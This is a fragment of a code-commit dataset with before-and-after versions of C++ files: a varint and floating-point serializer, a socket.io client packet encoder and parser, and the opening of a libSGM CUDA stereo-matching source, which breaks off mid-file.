{\n val |= (b & 0x7F) << offs;\n offs += 7;\n b = s.getByte();\n }\n val |= b << offs;\n return val;\n}\nlong serializer<long>::read(Deserializer& s) {\n const auto val = serializer<std::uint_least64_t>::read(s);\n auto value = static_cast<long>(val >> 1);\n if (val & 1) value = -value;\n return value;\n}\nint serializer<int>::read(Deserializer& s) {\n return serializer<long>::read(s);\n}\nstd::string serializer<std::string>::read(Deserializer& s) {\n const auto length = serializer<std::uint_least64_t>::read(s);\n const uint8_t* ptr = s.ptr;\n const uint8_t* end = ptr + length;\n if (end > s.end) \n throw parse_exception(\"buffer underrun\");\n s.ptr = end;\n return std::string(reinterpret_cast<const char*>(ptr), length);\n}\nbool serializer<bool>::read(Deserializer& s) {\n return serializer<std::uint_least64_t>::read(s) > 0;\n}\n\n}\n<commit_msg>Fix warning<commit_after>#include \"serializer.h\"\n#include <cmath>\n#include <cstdint>\n#include <cstdlib>\n#include <limits>\n\nnamespace rapscallion {\n\nvoid serializer<std::uint_least64_t>::write(Serializer& s, std::uint_least64_t value) {\n while (value >= 0x80) {\n s.addByte((uint8_t)(value & 0x7F) | 0x80);\n value >>= 7;\n }\n s.addByte((uint8_t)value);\n}\nvoid serializer<long>::write(Serializer& s, const long v) {\n std::uint_least64_t val = (std::abs(v) << 1) | (v < 0 ? 1 : 0);\n serializer<std::uint_least64_t>::write(s, val);\n}\nvoid serializer<int>::write(Serializer& s, const int v) {\n serializer<long>::write(s, v);\n}\nvoid serializer<std::string>::write(Serializer& s, const std::string& value) {\n serializer<std::uint_least64_t>::write(s, value.size());\n for (auto& c : value) s.addByte(c);\n}\nvoid serializer<bool>::write(Serializer& s, const bool b) {\n serializer<std::uint_least64_t>::write(s, b ? 1 : 0);\n}\n\nnamespace {\n enum Type {\n Zero,\n Infinity,\n NaN,\n Normal\n };\n struct float_repr {\n \/\/ Can fit an exponent of 32-2=20 bits, can support octuple-precision IEEE754 floats\n std::int_least32_t exponent;\n \/\/ Can support double precision IEEE754 floats (quadruple requires 112 bits, octuple 236 bits)\n std::uint_least64_t fraction;\n \/\/ One bit reserved for sign bit\n static constexpr unsigned fraction_bits = 63 - 1;\n bool is_negative;\n Type type;\n };\n auto bitreverse(std::uint_least64_t b) -> decltype(b)\n {\n b = ((b & 0b1111111111111111111111111111111100000000000000000000000000000000ULL) >> 32) | ((b & 0b0000000000000000000000000000000011111111111111111111111111111111ULL) << 32);\n b = ((b & 0b1111111111111111000000000000000011111111111111110000000000000000ULL) >> 16) | ((b & 0b0000000000000000111111111111111100000000000000001111111111111111ULL) << 16);\n b = ((b & 0b1111111100000000111111110000000011111111000000001111111100000000ULL) >> 8) | ((b & 0b0000000011111111000000001111111100000000111111110000000011111111ULL) << 8);\n b = ((b & 0b1111000011110000111100001111000011110000111100001111000011110000ULL) >> 4) | ((b & 0b0000111100001111000011110000111100001111000011110000111100001111ULL) << 4);\n b = ((b & 0b1100110011001100110011001100110011001100110011001100110011001100ULL) >> 2) | ((b & 0b0011001100110011001100110011001100110011001100110011001100110011ULL) << 2);\n b = ((b & 0b1010101010101010101010101010101010101010101010101010101010101010ULL) >> 1) | ((b & 0b0101010101010101010101010101010101010101010101010101010101010101ULL) << 1);\n return b;\n }\n}\n\ntemplate <>\nstruct serializer<float_repr> {\n static void write(Serializer& s, float_repr const &b) {\n \/\/ Using multiplication to avoid bit shifting a signed integer\n switch(b.type) {\n default:\n {\n serializer<decltype(+b.exponent)>::write(s, b.is_negative ? -b.type : b.type);\n }\n break;\n case Normal:\n {\n const decltype(b.exponent) exponent\n = b.exponent * 2 + (b.exponent < 0 ? -b.is_negative : b.is_negative);\n const decltype(b.fraction) reversed_fraction\n = bitreverse(b.fraction);\n serializer<decltype(+exponent)>::write(s, exponent < 0 ? exponent - 2 : exponent + 3);\n serializer<decltype(+b.fraction)>::write(s, reversed_fraction);\n }\n break;\n };\n }\n static float_repr read(Deserializer& s) {\n float_repr result;\n auto exponent = serializer<decltype(result.exponent)>::read(s);\n if (exponent < 3 && exponent >= -2) {\n result.is_negative = (exponent < 0);\n result.type = (Type)std::abs(exponent);\n } else {\n exponent = (exponent < 0) ? exponent + 2 : exponent - 3;\n result.is_negative = !!((exponent\/ 1) % 2);\n result.type = Normal;\n result.exponent = exponent \/ 2;\n const auto reversed_fraction = serializer<decltype(result.fraction)>::read(s);\n result.fraction = bitreverse(reversed_fraction);\n }\n return result;\n }\n};\n\nvoid serializer<double>::write(Serializer& s, double const b) {\n switch (std::fpclassify(b)) {\n case FP_ZERO:\n serializer<float_repr>::write(s, { 0, 0, !!std::signbit(b), Zero });\n break;\n case FP_INFINITE:\n serializer<float_repr>::write(s, { 0, 0, !!std::signbit(b), Infinity });\n break;\n case FP_NAN:\n \/\/ The bit reversal is to ensure the most efficient encoding can be used\n serializer<float_repr>::write(s, { 0, 0, false, NaN });\n break;\n case FP_NORMAL:\n case FP_SUBNORMAL:\n float_repr repr;\n repr.type = Normal;\n repr.is_negative = !!std::signbit(b);\n \/\/ Make the fraction a positive integer\n repr.fraction = std::ldexp(std::abs(std::frexp(b, &repr.exponent)), repr.fraction_bits);\n serializer<decltype(repr)>::write(s, repr);\n break;\n }\n}\n\ndouble serializer<double>::read(Deserializer& s) {\n const auto repr = serializer<float_repr>::read(s);\n switch(repr.type) {\n case Zero:\n return (repr.is_negative ? -0.0 : 0.0);\n case Infinity:\n return repr.is_negative ? -std::numeric_limits<double>::infinity() : std::numeric_limits<double>::infinity();\n case NaN:\n return std::numeric_limits<double>::quiet_NaN();\n default:\n return (repr.is_negative ? -1.0 : 1.0) * std::ldexp(static_cast<double>(repr.fraction), repr.exponent - repr.fraction_bits);\n }\n}\n\nvoid serializer<float>::write(Serializer& s, float const b) {\n serializer<double>::write(s, b);\n}\nfloat serializer<float>::read(Deserializer& s) {\n return serializer<double>::read(s);\n}\n\nstd::uint_least64_t serializer<std::uint_least64_t>::read(Deserializer& s) {\n std::uint_least64_t val = 0,\n offs = 0,\n b = s.getByte();\n while (b & 0x80) {\n val |= (b & 0x7F) << offs;\n offs += 7;\n b = s.getByte();\n }\n val |= b << offs;\n return val;\n}\nlong serializer<long>::read(Deserializer& s) {\n const auto val = serializer<std::uint_least64_t>::read(s);\n auto value = static_cast<long>(val >> 1);\n if (val & 1) value = -value;\n return value;\n}\nint serializer<int>::read(Deserializer& s) {\n return serializer<long>::read(s);\n}\nstd::string serializer<std::string>::read(Deserializer& s) {\n const auto length = serializer<std::uint_least64_t>::read(s);\n const uint8_t* ptr = s.ptr;\n const uint8_t* end = ptr + length;\n if (end > s.end) \n throw parse_exception(\"buffer underrun\");\n s.ptr = end;\n return std::string(reinterpret_cast<const char*>(ptr), length);\n}\nbool serializer<bool>::read(Deserializer& s) {\n return serializer<std::uint_least64_t>::read(s) > 0;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ sio_packet.cpp\n\/\/\n\/\/ Created by Melo Yao on 3\/22\/15.\n\/\/\n\n#include \"sio_packet.h\"\n#include <rapidjson\/document.h>\n#include <rapidjson\/encodedstream.h>\n#include <rapidjson\/writer.h>\n#include <cassert>\nnamespace sio\n{\n using namespace rapidjson;\n using namespace std;\n void accept_message(message const& msg,Value& val, Document& doc,vector<shared_ptr<const string> >& buffers);\n \n void accept_int_message(int_message const& msg, Value& val)\n {\n val.SetInt64(msg.get_int());\n }\n \n void accept_double_message(double_message const& msg, Value& val)\n {\n val.SetDouble(msg.get_double());\n }\n\n void accept_string_message(string_message const& msg, Value& val)\n {\n val.SetString(msg.get_string().data(),(SizeType) msg.get_string().length());\n }\n\n \n void accept_binary_message(binary_message const& msg,Value& val,Document& doc,vector<shared_ptr<const string> >& buffers)\n {\n val.SetObject();\n Value boolVal;\n boolVal.SetBool(true);\n val.AddMember(\"_placeholder\", boolVal, doc.GetAllocator());\n Value numVal;\n numVal.SetInt((int)buffers.size());\n val.AddMember(\"num\", numVal, doc.GetAllocator());\n \/\/FIXME can not avoid binary copy here.\n shared_ptr<string> write_buffer = make_shared<string>();\n write_buffer->reserve(msg.get_binary()->size()+1);\n char frame_char = packet::frame_message;\n write_buffer->append(&frame_char,1);\n write_buffer->append(*(msg.get_binary()));\n buffers.push_back(write_buffer);\n }\n \n void accept_array_message(array_message const& msg,Value& val,Document& doc,vector<shared_ptr<const string> >& buffers)\n {\n val.SetArray();\n for (vector<message::ptr>::const_iterator it = msg.get_vector().begin(); it!=msg.get_vector().end(); ++it) {\n Value child;\n accept_message(*(*it), child, doc,buffers);\n val.PushBack(child, doc.GetAllocator());\n }\n }\n \n void accept_object_message(object_message const& msg,Value& val,Document& doc,vector<shared_ptr<const string> >& buffers)\n {\n val.SetObject();\n for (map<string,message::ptr>::const_iterator it = msg.get_map().begin(); it!= msg.get_map().end(); ++it) {\n Value nameVal;\n nameVal.SetString(it->first.data(), (SizeType)it->first.length(), doc.GetAllocator());\n Value valueVal;\n accept_message(*(it->second), valueVal, doc,buffers);\n val.AddMember(nameVal, valueVal, doc.GetAllocator());\n }\n }\n \n void accept_message(message const& msg,Value& val, Document& doc,vector<shared_ptr<const string> >& buffers)\n {\n const message* msg_ptr = &msg;\n switch(msg.get_flag())\n {\n case message::flag_integer:\n {\n accept_int_message(*(static_cast<const int_message*>(msg_ptr)), val);\n break;\n }\n case message::flag_double:\n {\n accept_double_message(*(static_cast<const double_message*>(msg_ptr)), val);\n break;\n }\n case message::flag_string:\n {\n accept_string_message(*(static_cast<const string_message*>(msg_ptr)), val);\n break;\n }\n case message::flag_binary:\n {\n accept_binary_message(*(static_cast<const binary_message*>(msg_ptr)), val,doc,buffers);\n break;\n }\n case message::flag_array:\n {\n accept_array_message(*(static_cast<const array_message*>(msg_ptr)), val,doc,buffers);\n break;\n }\n case message::flag_object:\n {\n accept_object_message(*(static_cast<const object_message*>(msg_ptr)), val,doc,buffers);\n break;\n }\n default:\n break;\n }\n }\n \n message::ptr from_json(Value const& value, vector<shared_ptr<const string> > const& buffers)\n {\n if(value.IsInt64())\n {\n return int_message::create(value.GetInt64());\n }\n else if(value.IsDouble())\n {\n return double_message::create(value.GetDouble());\n }\n else if(value.IsString())\n {\n string str(value.GetString(),value.GetStringLength());\n return string_message::create(str);\n }\n else if(value.IsArray())\n {\n message::ptr ptr = array_message::create();\n for (SizeType i = 0; i< value.Size(); ++i) {\n static_cast<array_message*>(ptr.get())->get_vector().push_back(from_json(value[i],buffers));\n }\n return ptr;\n }\n else if(value.IsObject())\n {\n \/\/binary placeholder\n if (value.HasMember(\"_placeholder\") && value[\"_placeholder\"].GetBool()) {\n \n int num = value[\"num\"].GetInt();\n if(num > 0 && num < buffers.size())\n {\n return binary_message::create(buffers[num]);\n }\n return message::ptr();\n }\n \/\/real object message.\n message::ptr ptr = object_message::create();\n for (auto it = value.MemberBegin();it!=value.MemberEnd();++it)\n {\n if(it->name.IsString())\n {\n string key(it->name.GetString(),it->name.GetStringLength());\n static_cast<object_message*>(ptr.get())->get_map()[key] = from_json(it->value,buffers);\n }\n }\n return ptr;\n }\n return message::ptr();\n }\n \n packet::packet(string const& nsp,message::ptr const& msg,int pack_id, bool isAck):\n _frame(frame_message),\n _type((isAck?type_ack : type_event) | type_undetermined),\n _nsp(nsp),\n _message(msg),\n _pack_id(pack_id),\n _pending_buffers(0)\n {\n assert((!isAck\n || (isAck&&pack_id>=0)));\n }\n\n packet::packet(type type,message::ptr const& msg):\n _frame(frame_message),\n _type(type),\n _message(msg),\n _pack_id(-1),\n _pending_buffers(0)\n {\n \n }\n \n packet::packet(packet::frame_type frame):\n _frame(frame),\n _type(type_undetermined),\n _pack_id(-1),\n _pending_buffers(0)\n {\n \n }\n \n packet::packet():\n _type(type_undetermined),\n _pack_id(-1),\n _pending_buffers(0)\n {\n \n }\n \n \n bool packet::is_binary_message(string const& payload_ptr)\n {\n return payload_ptr.size()>0 && payload_ptr[0] == frame_message;\n }\n \n bool packet::is_text_message(string const& payload_ptr)\n {\n return payload_ptr.size()>0 && payload_ptr[0] == (frame_message + '0');\n }\n \n bool packet::is_message(string const& payload_ptr)\n {\n return is_binary_message(payload_ptr) || is_text_message(payload_ptr);\n }\n \n bool packet::parse_buffer(const string &buf_payload)\n {\n if (_pending_buffers > 0) {\n assert(is_binary_message(buf_payload));\/\/this is ensured by outside.\n _buffers.push_back(std::make_shared<string>(buf_payload.data()+1,buf_payload.size()-1));\n _pending_buffers--;\n if (_pending_buffers == 0) {\n \n Document doc;\n doc.Parse<0>(_buffers.front()->data());\n _buffers.erase(_buffers.begin());\n _message = from_json(doc, _buffers);\n _buffers.clear();\n return false;\n }\n return true;\n }\n return false;\n }\n \n bool packet::parse(const string& payload_ptr)\n {\n assert(!is_binary_message(payload_ptr)); \/\/this is ensured by outside\n _frame = (packet::frame_type) (payload_ptr[0] - '0');\n \n size_t pos = 1;\n if (_frame == frame_message) {\n _type = (packet::type)(payload_ptr[pos] - '0');\n if(_type < type_min || _type > type_max)\n {\n return false;\n }\n pos++;\n if (_type == type_binary_event || _type == type_binary_ack) {\n size_t score_pos = payload_ptr.find('-');\n _pending_buffers = stoi(payload_ptr.substr(pos,score_pos));\n pos = score_pos+1;\n }\n }\n \n size_t comma_pos = payload_ptr.find_first_of(\"{[,\");\n if( comma_pos!= string::npos && payload_ptr[comma_pos] == ',')\n {\n _nsp = payload_ptr.substr(pos,comma_pos - pos);\n pos = comma_pos+1;\n }\n if (pos >= payload_ptr.length()) {\n \/\/message only have type, maybe with namespace.\n return false;\n }\n size_t data_pos = payload_ptr.find_first_of(\"[{\", pos, 2);\n if (data_pos == string::npos) {\n \/\/we have pack id, no message.\n _pack_id = stoi(payload_ptr.substr(pos));\n return false;\n }\n else if(data_pos>pos)\n {\n \/\/we have pack id and messages.\n _pack_id = stoi(payload_ptr.substr(pos,data_pos - pos));\n }\n if (_frame == frame_message && (_type == type_binary_event || _type == type_binary_ack)) {\n \/\/parse later when all buffers are arrived.\n _buffers.push_back(make_shared<const string>(payload_ptr.data() + data_pos, payload_ptr.length() - data_pos));\n return true;\n }\n else\n {\n Document doc;\n doc.Parse<0>(payload_ptr.substr(data_pos).data());\n _message = from_json(doc, vector<shared_ptr<const string> >());\n return false;\n }\n \n }\n \n bool packet::accept(string& payload_ptr, vector<shared_ptr<const string> >&buffers)\n {\n char frame_char = _frame+'0';\n payload_ptr.append(&frame_char,1);\n if (_frame!=frame_message) {\n return false;\n }\n bool hasMessage = false;\n Document doc;\n if (_message) {\n accept_message(*_message, doc, doc, buffers);\n hasMessage = true;\n }\n bool hasBinary = buffers.size()>0;\n _type = _type&(~type_undetermined);\n if(_type == type_event)\n {\n _type = hasBinary?type_binary_event:type_event;\n }\n else if(_type == type_ack)\n {\n _type = hasBinary? type_binary_ack : type_ack;\n }\n ostringstream ss;\n ss.precision(8);\n ss<<_type;\n if (hasBinary) {\n ss<<buffers.size()<<\"-\";\n }\n if(_nsp.size()>0 && _nsp!=\"\/\")\n {\n ss<<_nsp;\n if (hasMessage || _pack_id>=0) {\n ss<<\",\";\n }\n }\n \n if(_pack_id>=0)\n {\n ss<<_pack_id;\n }\n \n payload_ptr.append(ss.str());\n\t\tif (hasMessage) {\n\t\t\tStringBuffer buffer;\n\t\t\tWriter<StringBuffer> writer(buffer);\n doc.Accept(writer);\n\t\t\tpayload_ptr.append(buffer.GetString(),buffer.GetSize());\n }\n\t\t\n return hasBinary;\n }\n \n packet::frame_type packet::get_frame() const\n {\n return _frame;\n }\n \n packet::type packet::get_type() const\n {\n assert((_type & type_undetermined) == 0);\n return (type)_type;\n }\n \n string const& packet::get_nsp() const\n {\n return _nsp;\n }\n \n message::ptr const& packet::get_message() const\n {\n return _message;\n }\n \n unsigned packet::get_pack_id() const\n {\n return _pack_id;\n }\n \n \n void packet_manager::set_decode_callback(function<void (packet const&)> const& decode_callback)\n {\n m_decode_callback = decode_callback;\n }\n \n void packet_manager::set_encode_callback(function<void (bool,shared_ptr<const string> const&)> const& encode_callback)\n {\n m_encode_callback = encode_callback;\n }\n\n void packet_manager::reset()\n {\n m_partial_packet.reset();\n }\n \n void packet_manager::encode(packet& pack,encode_callback_function const& override_encode_callback) const\n {\n shared_ptr<string> ptr = make_shared<string>();\n vector<shared_ptr<const string> > buffers;\n const encode_callback_function *cb_ptr = &m_encode_callback;\n if(override_encode_callback)\n {\n cb_ptr = &override_encode_callback;\n }\n if(pack.accept(*ptr,buffers))\n {\n if((*cb_ptr))\n {\n (*cb_ptr)(false,ptr);\n }\n for(auto it = buffers.begin();it!=buffers.end();++it)\n {\n if((*cb_ptr))\n {\n (*cb_ptr)(true,*it);\n }\n }\n }\n else\n {\n if((*cb_ptr))\n {\n (*cb_ptr)(false,ptr);\n }\n }\n }\n \n void packet_manager::put_payload(string const& payload)\n {\n unique_ptr<packet> p;\n do\n {\n if(packet::is_text_message(payload))\n {\n p.reset(new packet());\n if(p->parse(payload))\n {\n m_partial_packet = std::move(p);\n }\n else\n {\n break;\n }\n }\n else if(packet::is_binary_message(payload))\n {\n if(m_partial_packet)\n {\n if(!m_partial_packet->parse_buffer(payload))\n {\n p = std::move(m_partial_packet);\n break;\n }\n }\n }\n else\n {\n p.reset(new packet());\n p->parse(payload);\n break;\n }\n return;\n }while(0);\n \n if(m_decode_callback)\n {\n m_decode_callback(*p);\n }\n }\n}<commit_msg>optimize json member access<commit_after>\/\/\n\/\/ sio_packet.cpp\n\/\/\n\/\/ Created by Melo Yao on 3\/22\/15.\n\/\/\n\n#include \"sio_packet.h\"\n#include <rapidjson\/document.h>\n#include <rapidjson\/encodedstream.h>\n#include <rapidjson\/writer.h>\n#include <cassert>\n\n#define kBIN_PLACE_HOLDER \"_placeholder\"\n\nnamespace sio\n{\n using namespace rapidjson;\n using namespace std;\n void accept_message(message const& msg,Value& val, Document& doc,vector<shared_ptr<const string> >& buffers);\n \n void accept_int_message(int_message const& msg, Value& val)\n {\n val.SetInt64(msg.get_int());\n }\n \n void accept_double_message(double_message const& msg, Value& val)\n {\n val.SetDouble(msg.get_double());\n }\n\n void accept_string_message(string_message const& msg, Value& val)\n {\n val.SetString(msg.get_string().data(),(SizeType) msg.get_string().length());\n }\n\n \n void accept_binary_message(binary_message const& msg,Value& val,Document& doc,vector<shared_ptr<const string> >& buffers)\n {\n val.SetObject();\n Value boolVal;\n boolVal.SetBool(true);\n val.AddMember(kBIN_PLACE_HOLDER, boolVal, doc.GetAllocator());\n Value numVal;\n numVal.SetInt((int)buffers.size());\n val.AddMember(\"num\", numVal, doc.GetAllocator());\n \/\/FIXME can not avoid binary copy here.\n shared_ptr<string> write_buffer = make_shared<string>();\n write_buffer->reserve(msg.get_binary()->size()+1);\n char frame_char = packet::frame_message;\n write_buffer->append(&frame_char,1);\n write_buffer->append(*(msg.get_binary()));\n buffers.push_back(write_buffer);\n }\n \n void accept_array_message(array_message const& msg,Value& val,Document& doc,vector<shared_ptr<const string> >& buffers)\n {\n val.SetArray();\n for (vector<message::ptr>::const_iterator it = msg.get_vector().begin(); it!=msg.get_vector().end(); ++it) {\n Value child;\n accept_message(*(*it), child, doc,buffers);\n val.PushBack(child, doc.GetAllocator());\n }\n }\n \n void accept_object_message(object_message const& msg,Value& val,Document& doc,vector<shared_ptr<const string> >& buffers)\n {\n val.SetObject();\n for (map<string,message::ptr>::const_iterator it = msg.get_map().begin(); it!= msg.get_map().end(); ++it) {\n Value nameVal;\n nameVal.SetString(it->first.data(), (SizeType)it->first.length(), doc.GetAllocator());\n Value valueVal;\n accept_message(*(it->second), valueVal, doc,buffers);\n val.AddMember(nameVal, valueVal, doc.GetAllocator());\n }\n }\n \n void accept_message(message const& msg,Value& val, Document& doc,vector<shared_ptr<const string> >& buffers)\n {\n const message* msg_ptr = &msg;\n switch(msg.get_flag())\n {\n case message::flag_integer:\n {\n accept_int_message(*(static_cast<const int_message*>(msg_ptr)), val);\n break;\n }\n case message::flag_double:\n {\n accept_double_message(*(static_cast<const double_message*>(msg_ptr)), val);\n break;\n }\n case message::flag_string:\n {\n accept_string_message(*(static_cast<const string_message*>(msg_ptr)), val);\n break;\n }\n case message::flag_binary:\n {\n accept_binary_message(*(static_cast<const binary_message*>(msg_ptr)), val,doc,buffers);\n break;\n }\n case message::flag_array:\n {\n accept_array_message(*(static_cast<const array_message*>(msg_ptr)), val,doc,buffers);\n break;\n }\n case message::flag_object:\n {\n accept_object_message(*(static_cast<const object_message*>(msg_ptr)), val,doc,buffers);\n break;\n }\n default:\n break;\n }\n }\n \n message::ptr from_json(Value const& value, vector<shared_ptr<const string> > const& buffers)\n {\n if(value.IsInt64())\n {\n return int_message::create(value.GetInt64());\n }\n else if(value.IsDouble())\n {\n return double_message::create(value.GetDouble());\n }\n else if(value.IsString())\n {\n string str(value.GetString(),value.GetStringLength());\n return string_message::create(str);\n }\n else if(value.IsArray())\n {\n message::ptr ptr = array_message::create();\n for (SizeType i = 0; i< value.Size(); ++i) {\n static_cast<array_message*>(ptr.get())->get_vector().push_back(from_json(value[i],buffers));\n }\n return ptr;\n }\n else if(value.IsObject())\n {\n \/\/binary placeholder\n\t\t\tauto mem_it = value.FindMember(kBIN_PLACE_HOLDER);\n\t\t\tif (mem_it!=value.MemberEnd() && mem_it->value.GetBool()) {\n \n int num = value[\"num\"].GetInt();\n if(num > 0 && num < buffers.size())\n {\n return binary_message::create(buffers[num]);\n }\n return message::ptr();\n }\n \/\/real object message.\n message::ptr ptr = object_message::create();\n for (auto it = value.MemberBegin();it!=value.MemberEnd();++it)\n {\n if(it->name.IsString())\n {\n string key(it->name.GetString(),it->name.GetStringLength());\n static_cast<object_message*>(ptr.get())->get_map()[key] = from_json(it->value,buffers);\n }\n }\n return ptr;\n }\n return message::ptr();\n }\n \n packet::packet(string const& nsp,message::ptr const& msg,int pack_id, bool isAck):\n _frame(frame_message),\n _type((isAck?type_ack : type_event) | type_undetermined),\n _nsp(nsp),\n _message(msg),\n _pack_id(pack_id),\n _pending_buffers(0)\n {\n assert((!isAck\n || (isAck&&pack_id>=0)));\n }\n\n packet::packet(type type,message::ptr const& msg):\n _frame(frame_message),\n _type(type),\n _message(msg),\n _pack_id(-1),\n _pending_buffers(0)\n {\n \n }\n \n packet::packet(packet::frame_type frame):\n _frame(frame),\n _type(type_undetermined),\n _pack_id(-1),\n _pending_buffers(0)\n {\n \n }\n \n packet::packet():\n _type(type_undetermined),\n _pack_id(-1),\n _pending_buffers(0)\n {\n \n }\n \n \n bool packet::is_binary_message(string const& payload_ptr)\n {\n return payload_ptr.size()>0 && payload_ptr[0] == frame_message;\n }\n \n bool packet::is_text_message(string const& payload_ptr)\n {\n return payload_ptr.size()>0 && payload_ptr[0] == (frame_message + '0');\n }\n \n bool packet::is_message(string const& payload_ptr)\n {\n return is_binary_message(payload_ptr) || is_text_message(payload_ptr);\n }\n \n bool packet::parse_buffer(const string &buf_payload)\n {\n if (_pending_buffers > 0) {\n assert(is_binary_message(buf_payload));\/\/this is ensured by outside.\n _buffers.push_back(std::make_shared<string>(buf_payload.data()+1,buf_payload.size()-1));\n _pending_buffers--;\n if (_pending_buffers == 0) {\n \n Document doc;\n doc.Parse<0>(_buffers.front()->data());\n _buffers.erase(_buffers.begin());\n _message = from_json(doc, _buffers);\n _buffers.clear();\n return false;\n }\n return true;\n }\n return false;\n }\n \n bool packet::parse(const string& payload_ptr)\n {\n assert(!is_binary_message(payload_ptr)); \/\/this is ensured by outside\n _frame = (packet::frame_type) (payload_ptr[0] - '0');\n \n size_t pos = 1;\n if (_frame == frame_message) {\n _type = (packet::type)(payload_ptr[pos] - '0');\n if(_type < type_min || _type > type_max)\n {\n return false;\n }\n pos++;\n if (_type == type_binary_event || _type == type_binary_ack) {\n size_t score_pos = payload_ptr.find('-');\n _pending_buffers = stoi(payload_ptr.substr(pos,score_pos));\n pos = score_pos+1;\n }\n }\n \n size_t comma_pos = payload_ptr.find_first_of(\"{[,\");\n if( comma_pos!= string::npos && payload_ptr[comma_pos] == ',')\n {\n _nsp = payload_ptr.substr(pos,comma_pos - pos);\n pos = comma_pos+1;\n }\n if (pos >= payload_ptr.length()) {\n \/\/message only have type, maybe with namespace.\n return false;\n }\n size_t data_pos = payload_ptr.find_first_of(\"[{\", pos, 2);\n if (data_pos == string::npos) {\n \/\/we have pack id, no message.\n _pack_id = stoi(payload_ptr.substr(pos));\n return false;\n }\n else if(data_pos>pos)\n {\n \/\/we have pack id and messages.\n _pack_id = stoi(payload_ptr.substr(pos,data_pos - pos));\n }\n if (_frame == frame_message && (_type == type_binary_event || _type == type_binary_ack)) {\n \/\/parse later when all buffers are arrived.\n _buffers.push_back(make_shared<const string>(payload_ptr.data() + data_pos, payload_ptr.length() - data_pos));\n return true;\n }\n else\n {\n Document doc;\n doc.Parse<0>(payload_ptr.substr(data_pos).data());\n _message = from_json(doc, vector<shared_ptr<const string> >());\n return false;\n }\n \n }\n \n bool packet::accept(string& payload_ptr, vector<shared_ptr<const string> >&buffers)\n {\n char frame_char = _frame+'0';\n payload_ptr.append(&frame_char,1);\n if (_frame!=frame_message) {\n return false;\n }\n bool hasMessage = false;\n Document doc;\n if (_message) {\n accept_message(*_message, doc, doc, buffers);\n hasMessage = true;\n }\n bool hasBinary = buffers.size()>0;\n _type = _type&(~type_undetermined);\n if(_type == type_event)\n {\n _type = hasBinary?type_binary_event:type_event;\n }\n else if(_type == type_ack)\n {\n _type = hasBinary? type_binary_ack : type_ack;\n }\n ostringstream ss;\n ss.precision(8);\n ss<<_type;\n if (hasBinary) {\n ss<<buffers.size()<<\"-\";\n }\n if(_nsp.size()>0 && _nsp!=\"\/\")\n {\n ss<<_nsp;\n if (hasMessage || _pack_id>=0) {\n ss<<\",\";\n }\n }\n \n if(_pack_id>=0)\n {\n ss<<_pack_id;\n }\n \n payload_ptr.append(ss.str());\n\t\tif (hasMessage) {\n\t\t\tStringBuffer buffer;\n\t\t\tWriter<StringBuffer> writer(buffer);\n doc.Accept(writer);\n\t\t\tpayload_ptr.append(buffer.GetString(),buffer.GetSize());\n }\n\t\t\n return hasBinary;\n }\n \n packet::frame_type packet::get_frame() const\n {\n return _frame;\n }\n \n packet::type packet::get_type() const\n {\n assert((_type & type_undetermined) == 0);\n return (type)_type;\n }\n \n string const& packet::get_nsp() const\n {\n return _nsp;\n }\n \n message::ptr const& packet::get_message() const\n {\n return _message;\n }\n \n unsigned packet::get_pack_id() const\n {\n return _pack_id;\n }\n \n \n void packet_manager::set_decode_callback(function<void (packet const&)> const& decode_callback)\n {\n m_decode_callback = decode_callback;\n }\n \n void packet_manager::set_encode_callback(function<void (bool,shared_ptr<const string> const&)> const& encode_callback)\n {\n m_encode_callback = encode_callback;\n }\n\n void packet_manager::reset()\n {\n m_partial_packet.reset();\n }\n \n void packet_manager::encode(packet& pack,encode_callback_function const& override_encode_callback) const\n {\n shared_ptr<string> ptr = make_shared<string>();\n vector<shared_ptr<const string> > buffers;\n const encode_callback_function *cb_ptr = &m_encode_callback;\n if(override_encode_callback)\n {\n cb_ptr = &override_encode_callback;\n }\n if(pack.accept(*ptr,buffers))\n {\n if((*cb_ptr))\n {\n (*cb_ptr)(false,ptr);\n }\n for(auto it = buffers.begin();it!=buffers.end();++it)\n {\n if((*cb_ptr))\n {\n (*cb_ptr)(true,*it);\n }\n }\n }\n else\n {\n if((*cb_ptr))\n {\n (*cb_ptr)(false,ptr);\n }\n }\n }\n \n void packet_manager::put_payload(string const& payload)\n {\n unique_ptr<packet> p;\n do\n {\n if(packet::is_text_message(payload))\n {\n p.reset(new packet());\n if(p->parse(payload))\n {\n m_partial_packet = std::move(p);\n }\n else\n {\n break;\n }\n }\n else if(packet::is_binary_message(payload))\n {\n if(m_partial_packet)\n {\n if(!m_partial_packet->parse_buffer(payload))\n {\n p = std::move(m_partial_packet);\n break;\n }\n }\n }\n else\n {\n p.reset(new packet());\n p->parse(payload);\n break;\n }\n return;\n }while(0);\n \n if(m_decode_callback)\n {\n m_decode_callback(*p);\n }\n }\n}<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright 2016 Fixstars Corporation\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp :\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#include <iostream>\n\n#include <libsgm.h>\n\n#include \"internal.h\"\n\nnamespace sgm {\n\tstatic bool is_cuda_input(EXECUTE_INOUT type) { return (int)type & 0x1; }\n\tstatic bool is_cuda_output(EXECUTE_INOUT type) { return (int)type & 0x2; }\n\n\tstruct CudaStereoSGMResources {\n\t\tvoid* d_src_left;\n\t\tvoid* d_src_right;\n\t\tvoid* d_left;\n\t\tvoid* d_right;\n\t\tvoid* d_scost;\n\t\tvoid* d_matching_cost;\n\t\tvoid* d_left_disp;\n\t\tvoid* d_right_disp;\n\n\t\tvoid* d_tmp_left_disp;\n\t\tvoid* d_tmp_right_disp;\n\n\t\tcudaStream_t cuda_streams[8];\n\n\t\tvoid* d_output_16bit_buffer;\n\t\tuint16_t* h_output_16bit_buffer;\n\n\t\tCudaStereoSGMResources(int width_, int height_, int disparity_size_, int input_depth_bits_, int output_depth_bits_, EXECUTE_INOUT inout_type_) {\n\n\t\t\tif (is_cuda_input(inout_type_)) {\n\t\t\t\tthis->d_src_left = NULL;\n\t\t\t\tthis->d_src_right = NULL;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tCudaSafeCall(cudaMalloc(&this->d_src_left, input_depth_bits_ \/ 8 * width_ * 